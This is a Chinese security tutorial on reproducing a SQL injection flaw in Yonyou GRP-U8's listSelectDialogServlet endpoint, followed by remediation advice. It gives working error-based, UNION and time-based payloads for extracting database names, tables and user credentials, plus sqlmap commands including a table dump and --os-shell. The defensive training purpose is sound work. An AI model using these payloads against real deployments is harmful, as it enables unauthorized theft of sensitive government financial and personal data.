用友GRP-U8 SQL注入漏洞复现与防御:从listSelectDialogServlet接口看企业软件安全
1. 项目概述与背景最近在梳理一些历史漏洞案例准备内部安全培训材料时又翻到了用友GRP-U8这个老熟人。GRP-U8作为一款面向政府、事业单位的财务管理软件其稳定性和安全性本应是重中之重但历史上曝出的多个安全漏洞却让人捏一把汗。今天要复现的这个listSelectDialogServlet接口SQL注入漏洞就是一个非常典型的“因功能设计疏忽导致的安全短板”。这个漏洞的利用门槛不高但危害却不小攻击者可以直接通过构造特定的HTTP请求绕过身份认证在数据库层面执行任意SQL命令轻则窃取敏感业务数据重则可能获取服务器控制权。对于还在使用受影响版本的单位来说这无疑是一个需要立即关注和处置的安全风险。接下来我会从一个安全研究者的角度带你完整走一遍这个漏洞的复现过程并深入分析其成因和防御思路无论你是安全工程师、渗透测试人员还是负责系统运维的同事都能从中获得直接的参考价值。2. 漏洞原理深度剖析2.1 漏洞接口定位与功能逻辑用友GRP-U8软件体系庞大包含大量Servlet组件用于处理前端请求。listSelectDialogServlet这个接口从命名上就能猜出它的功能提供一个列表选择对话框的数据。在实际业务中这种对话框常用于用户选择部门、人员、项目等基础资料前端传入查询条件后端从数据库查询并返回JSON格式的列表数据。问题就出在这个“查询条件”的拼接和处理上。为了追求开发的便捷性开发人员很可能直接采用了字符串拼接的方式来构造SQL语句。例如前端传递一个deptName参数用于按部门名称过滤后端代码可能简单写成这样此为模拟代码用于说明原理String deptName request.getParameter(deptName); String sql SELECT * FROM u8_department WHERE dept_name LIKE % deptName %; Statement stmt connection.createStatement(); ResultSet rs stmt.executeQuery(sql);这是一种最原始、也最危险的SQL语句构造方式。当攻击者传入的deptName参数不是一个普通的部门名而是一段精心构造的SQL代码片段时这段代码就会被原封不动地拼接到最终的SQL语句中并执行。2.2 SQL注入攻击链的形成以listSelectDialogServlet为例一个正常的请求可能是这样的GET /servlet/listSelectDialogServlet?nodedeptconditionname like 行政后端据此生成的SQL可能是SELECT id, code, name FROM t_department WHERE name LIKE %行政%而攻击者可以构造恶意的condition参数值conditionname like 行政 OR 11拼接后的SQL语句就变成了SELECT id, code, name FROM t_department WHERE name LIKE %行政 OR 11%由于OR 11这个条件永远为真这条查询语句就可能会返回t_department表中的所有记录而不仅仅是名称包含“行政”的部门。这就实现了最基本的“绕过条件查询”。更危险的利用方式是使用UNION查询、子查询或者堆叠查询来获取数据库中的其他表数据甚至执行系统命令取决于数据库权限和配置。注意在实际漏洞中注入点参数可能不是condition也可能是node、selectedId或其他未被公开的参数。关键在于找到那个未经任何过滤、直接拼接进SQL语句的参数。这需要结合代码审计或黑盒模糊测试Fuzzing来确定。2.3 漏洞的独特危害性这个漏洞之所以需要特别关注有以下几个原因前置认证缺失很多这类用于数据加载的Servlet为了方便前端组件调用往往没有强制进行会话验证或权限校验。攻击者无需登录直接访问接口URL即可进行注入测试。影响数据核心GRP-U8管理的是单位的财务、资产、人员等核心数据。一旦被注入攻击可能导致凭证信息、银行账号、人员身份证号、内部通讯录等极度敏感的信息泄露。可能成为跳板如果数据库运行在较高权限下如sa、root并且数据库本身配置不当如开启了xp_cmdshell等危险功能那么SQL注入就有可能演变为远程命令执行RCE直接控制服务器。3. 复现环境搭建与配置3.1 靶场环境选择为了安全、合法地复现漏洞我们必须在隔离的环境中进行。通常有以下几种选择官方安装包虚拟机寻找受漏洞影响的特定版本GRP-U8安装包例如历史版本U8 10.1在VMware或VirtualBox中搭建一个Windows Server虚拟机进行安装。这是最贴近真实场景的方式但资源消耗较大且安装过程复杂。漏洞集成靶场一些开源的安全学习平台如Vulhub、Vulstudy可能会集成封装好的用友漏洞环境。这种方式一键启动最为便捷。自定义Docker环境如果有漏洞的War包或已知的受影响版本可以尝试自行构建Docker镜像。这对动手能力要求较高。考虑到复现的便捷性我们假设使用第二种方式即一个预置的漏洞靶场。你需要确保你的实验环境满足以下基础要求一台性能足够的物理机或云服务器。已安装Docker和Docker-Compose。网络通畅能够拉取镜像。3.2 靶场启动与初始化假设我们使用的靶场项目提供了docker-compose.yml文件复现步骤如下# 1. 拉取靶场项目代码此处以示例项目为例 git clone https://github.com/example/yonyou-grpu8-vuln-demo.git cd yonyou-grpu8-vuln-demo # 2. 使用docker-compose一键启动环境 docker-compose up -d # 3. 查看容器状态确认服务已正常启动 docker-compose ps启动成功后通常可以通过浏览器访问http://your-ip:8080来看到GRP-U8的登录界面或相关应用页面。我们的目标不是登录而是直接访问存在漏洞的Servlet接口。实操心得在启动靶场后务必使用docker logs container_id命令查看容器日志确认中间件如Tomcat已成功启动且没有报错。有时数据库初始化脚本执行较慢需要等待一两分钟再测试。3.3 确定漏洞接口地址在真实渗透测试或代码审计中我们需要通过信息收集来发现listSelectDialogServlet的完整路径。常见方法有目录扫描使用工具如dirsearch、gobuster扫描/servlet/、/u8servlet/等常见路径。源码分析如果能有条件分析安装目录下的Web应用结构如webapps目录在WEB-INF/web.xml文件中可以找到所有Servlet的映射路径。历史漏洞报告参考公开的漏洞详情里面通常会给出确切的URL路径。假设通过信息收集我们确定漏洞接口的完整URL为http://your-ip:8080/yyoa/servlet/listSelectDialogServlet4. 手工注入漏洞复现过程手工注入能帮助我们最深刻地理解漏洞原理。我们使用Burp Suite作为主要的测试工具。4.1 初步探测与注入点识别首先我们使用浏览器或Burp Repeater发送一个最基础的GET请求观察正常响应。GET /yyoa/servlet/listSelectDialogServlet?nodedept HTTP/1.1 Host: your-ip:8080 User-Agent: Mozilla/5.0... Accept: application/json, text/javascript, */*; q0.01正常情况可能返回一个JSON数组包含部门列表也可能返回一个HTML格式的选择框代码。记录下正常响应的长度、状态码和内容特征。接下来开始注入探测。我们尝试在参数后添加单引号这是测试SQL注入最经典的起点。GET /yyoa/servlet/listSelectDialogServlet?nodedept HTTP/1.1观察响应如果返回数据库错误信息如包含“SQL”、“Syntax”、“JDBC”、“MySQL”、“Oracle”等关键词这强烈暗示存在SQL注入并且错误信息被直接返回属于“报错型注入”。如果返回空结果、异常状态码如500或与正常请求明显不同的内容也暗示参数被带入SQL执行并引发了异常只是被应用层捕获而未详细输出。如果返回结果与正常请求无异则可能需要尝试布尔盲注或时间盲注。假设我们收到了一个包含“SQL syntax error”的响应那么可以确认node参数存在注入点并且是报错型注入。4.2 利用报错注入提取信息报错注入是一种高效的信息提取手段。以MySQL数据库为例我们可以利用updatexml()或extractvalue()函数的参数错误来带出查询结果。步骤一判断数据库类型及版本nodedept AND updatexml(1,concat(0x7e,version(),0x7e),1)--这个payload的含义是当nodedept条件满足时执行updatexml函数。该函数第二个参数本应是合法的XPath路径但我们传入的是由波浪号~、version()函数结果、波浪号~拼接的字符串这会导致XPath语法错误从而在报错信息中将version()的执行结果即数据库版本显示出来。如果看到报错信息中包含类似“~5.7.35~”的内容就说明数据库是MySQL 5.7.35。步骤二获取当前数据库名nodedept AND updatexml(1,concat(0x7e,database(),0x7e),1)--报错信息中会显示当前操作所在的数据库名称。步骤三枚举数据库中的表这一步需要用到information_schema.tables系统表。nodedept AND updatexml(1,concat(0x7e,(SELECT table_name FROM information_schema.tables WHERE table_schemadatabase() LIMIT 0,1),0x7e),1)--通过修改LIMIT后的数字如1,12,1可以逐个获取表名。重点关注名称中包含user、admin、account、password、salary、voucher凭证等关键词的表。步骤四获取指定表的列名假设我们找到了一个名为u8_user的表。nodedept AND updatexml(1,concat(0x7e,(SELECT column_name FROM information_schema.columns WHERE table_schemadatabase() AND table_nameu8_user LIMIT 0,1),0x7e),1)--同样通过修改LIMIT来遍历寻找username、loginid、password、encrypted_pwd等字段。步骤五提取敏感数据假设u8_user表有login_name和password字段。nodedept AND updatexml(1,concat(0x7e,(SELECT concat(login_name,:,password) FROM u8_user LIMIT 0,1),0x7e),1)--这样就能提取出第一条用户记录的账号和密码。注意updatexml函数一次最多只能返回32位长度取决于版本如果数据过长可能需要使用substring()函数分段截取。注意事项上述Payload中的--是MySQL的注释符用于注释掉原SQL语句中后续可能存在的其他条件确保我们的Payload能完整执行。在Oracle中注释符是--在SQL Server中是--。在实际测试中如果--无效可以尝试#URL编码为%23。4.3 联合查询注入作为备选方案如果报错注入被拦截或无法使用联合查询UNION SELECT是另一种直接的数据获取方式。但使用UNION的前提是我们需要知道原SQL查询语句返回的列数。步骤一判断列数使用ORDER BY子句进行判断。nodedept ORDER BY 5--不断增加数字5,6,7...直到页面返回错误。假设ORDER BY 7时报错ORDER BY 6正常则说明原查询返回6列。步骤二判断各列的数据类型和可显示位置使用UNION SELECT构造一个与原查询列数相同的查询并用数字、字符串标记每个位置。nodedept UNION SELECT 1,a,b,c,d,e--观察返回的页面看我们注入的1,a等数据在页面的哪个位置被显示出来。假设页面中某个列表项显示为a说明第二列是显示位。步骤三利用显示位提取数据nodedept UNION SELECT 1,database(),user(),version(),5,6--这样数据库名、当前用户、版本号就会显示在页面对应的位置上。后续提取表名、列名、数据的逻辑与报错注入类似只是将子查询的结果放在UNION SELECT的显示位上。5. 自动化工具辅助验证手工注入虽然透彻但效率较低。在实际安全评估中我们常使用SQLMap这样的自动化工具进行快速验证和深度利用。5.1 SQLMap基础探测首先将含有可疑参数的请求保存到文件request.txt中或直接使用-u参数指定URL。# 使用保存的请求文件进行测试 sqlmap -r request.txt --batch --risk3 --level3 # 或直接指定URL和参数 sqlmap -u http://your-ip:8080/yyoa/servlet/listSelectDialogServlet?nodedept --batch --risk3 --level3--batch: 自动选择默认选项非交互模式。--risk3: 提高风险等级尝试更多危险的测试语句如OR-based注入。--level3: 提高测试等级会检测Cookie、User-Agent等HTTP头中的注入点。5.2 深入利用与数据提取如果SQLMap确认存在注入点可以进行以下深入操作# 1. 获取当前数据库名和用户 sqlmap -r request.txt --current-db --current-user # 2. 列出所有数据库 sqlmap -r request.txt --dbs # 3. 列出指定数据库假设为grpu8中的所有表 sqlmap -r request.txt -D grpu8 --tables # 4. 列出指定表假设为u8_user中的所有列 sqlmap -r request.txt -D grpu8 -T u8_user --columns # 5. 导出指定表的所有数据 sqlmap -r request.txt -D grpu8 -T u8_user --dump # 6. 尝试获取操作系统shell需要高权限且数据库支持 sqlmap -r request.txt --os-shell实操心得使用SQLMap时--proxyhttp://127.0.0.1:8080参数非常有用可以将流量代理到Burp Suite方便观察SQLMap发送的具体Payload和学习其绕过技巧。另外对于某些有防护如简单的WAF的场景可以尝试使用--tamper脚本如space2comment,randomcase来混淆Payload。5.3 工具使用中的注意事项合法性仅在你自己拥有完全控制权的靶场环境或获得明确书面授权的范围内使用。谨慎使用--os-shell和--os-cmd这些功能会尝试在数据库服务器上执行系统命令行为非常危险在非授权测试中绝对禁止使用。控制请求频率使用--delay1每次请求延迟1秒或--threads1单线程可以降低请求速度避免对目标服务造成过大压力或触发速率限制告警。注意编码问题如果目标系统是GBK等编码可能需要关注宽字节注入等特殊情况SQLMap的--tamper脚本中也有对应的处理脚本。6. 漏洞根因分析与修复建议6.1 代码层面问题溯源归根结底此类漏洞的产生源于不安全的编码实践动态字符串拼接直接使用或字符串格式化方法将用户输入拼接到SQL语句中。未使用预编译语句PreparedStatement这是防止SQL注入最有效、最根本的手段。预编译会将SQL语句的骨架和参数数据分开发送数据库会区分指令和数据从而从根本上杜绝参数被解释为指令的可能。过滤不彻底或存在绕过如果采用过滤危险关键词如union,select,的方式可能存在大小写、双写、编码绕过等问题不是治本之策。错误信息泄露将详细的数据库错误信息直接返回给前端为攻击者提供了宝贵的调试信息。6.2 修复方案对于开发人员修复方案是明确的强制使用参数化查询预编译这是黄金法则。将所有涉及用户输入的数据库操作都改为使用PreparedStatement。// 错误示例 String sql SELECT * FROM t WHERE id userInput; Statement stmt conn.createStatement(); stmt.executeQuery(sql); // 正确示例 String sql SELECT * FROM t WHERE id ?; PreparedStatement pstmt conn.prepareStatement(sql); pstmt.setInt(1, Integer.parseInt(userInput)); // 或 setString, setDate等 ResultSet rs pstmt.executeQuery();使用安全的ORM框架如MyBatis但要注意MyBatis中${}拼接依然存在风险应优先使用#{}。!-- 错误示例存在注入风险 -- select idselectDept parameterTypeString resultTypeDept SELECT * FROM t_department WHERE name LIKE %${name}% /select !-- 正确示例 -- select idselectDept parameterTypeString resultTypeDept SELECT * FROM t_department WHERE name LIKE CONCAT(%, #{name}, %) /select实施最小权限原则为Web应用连接数据库的账户分配最小必要的权限通常只授予其特定表的SELECT、INSERT、UPDATE、DELETE权限绝不授予DROP、CREATE、ALTER或FILE、PROCESS等系统级权限。自定义全局过滤器在Web应用层对传入的参数进行严格的合法性校验如类型、长度、格式并统一过滤或转义少数确实无法使用预编译的特殊字符如排序字段名等。但此方法应作为辅助而非主要防御手段。关闭详细错误回显在生产环境中配置应用服务器和数据库驱动不将详细的堆栈信息和SQL错误返回给客户端而是记录到日志中前端只返回通用的错误提示。6.3 对于运维和安全人员的建议漏洞扫描与补丁更新定期使用专业的Web漏洞扫描器对在用系统进行扫描。及时关注厂商用友发布的安全公告和补丁并安排升级。部署WAF在应用前端部署Web应用防火墙WAF可以在一定程度上拦截已知的SQL注入攻击模式为修复漏洞争取时间。但WAF可能存在绕过风险不能作为唯一防护措施。网络层面隔离将包含敏感数据的数据库服务器部署在内网严格限制外网访问。Web应用服务器与数据库服务器之间也应设置严格的访问控制策略如防火墙规则。安全开发培训推动开发团队进行安全编码培训将“使用参数化查询”作为一项必须遵守的编码规范。7. 复现过程中的常见问题与排查在复现过程中你可能会遇到以下问题问题现象可能原因排查与解决思路发送Payload后返回空白页或500错误1. Payload语法错误导致数据库查询异常。2. 应用有全局异常处理捕获了SQL错误。3. 参数名或接口路径错误。1. 检查Payload语法特别是引号、括号的闭合和注释符的使用。2. 尝试更简单的Payload如nodedept AND 11和nodedept AND 12观察页面内容或响应长度的差异布尔盲注特征。3. 确认请求的URL、HTTP方法GET/POST、参数名完全正确。SQLMap无法检测到注入点1. 注入点存在于Cookie、User-Agent等HTTP头中。2. 存在Token、CSRF等动态参数。3. 有基础的WAF或过滤机制拦截了SQLMap的探测流量。1. 使用--level和--risk提高检测等级如--level5 --risk3。2. 使用--random-agent随机化User-Agent或使用--cookie手动指定会话。3. 使用--tamper参数尝试绕过例如--tamperspace2comment。4. 将Burp抓到的完整请求含Cookie等保存到文件用-r参数让SQLMap分析。报错注入时返回信息被截断updatexml()或extractvalue()函数有长度限制约32字符。使用substring()或mid()函数分段提取数据。例如updatexml(1,concat(0x7e,substring((SELECT group_concat(table_name) FROM information_schema.tables),1,30),0x7e),1)然后不断调整起始位置获取后续数据。联合查询注入时页面没有显示位原查询结果可能用于逻辑判断并不直接渲染到前端页面。尝试使用“报错注入”或“时间盲注”。时间盲注Payload示例nodedept AND IF(SUBSTRING(database(),1,1)a, SLEEP(5), 0)--通过观察响应是否延迟5秒来判断条件真假。靶场环境启动失败数据库连接不上1. 端口冲突。2. 数据库初始化脚本执行失败。3. 容器内存不足。1. 检查docker-compose.yml中映射的端口是否被占用。2. 查看数据库容器的日志排查初始化错误。3. 为Docker分配更多内存资源或优化虚拟机设置。最后再分享一个小技巧在复现任何历史漏洞时养成“三重验证”的习惯。第一重用最简单的手工Payload如单引号验证漏洞是否存在第二重用更复杂的Payload如报错注入验证漏洞的可利用性和数据库类型第三重在确保环境绝对隔离的前提下使用自动化工具进行深度利用和数据提取验证。这个过程不仅能帮你确认漏洞更能让你理解漏洞利用的完整链条在后续的漏洞挖掘和防御中才会更有方向感。对于像用友GRP-U8这类广泛使用的企业级软件其漏洞往往具有模式化的特点深入分析一个就能举一反三在审计或测试同类系统时节省大量时间。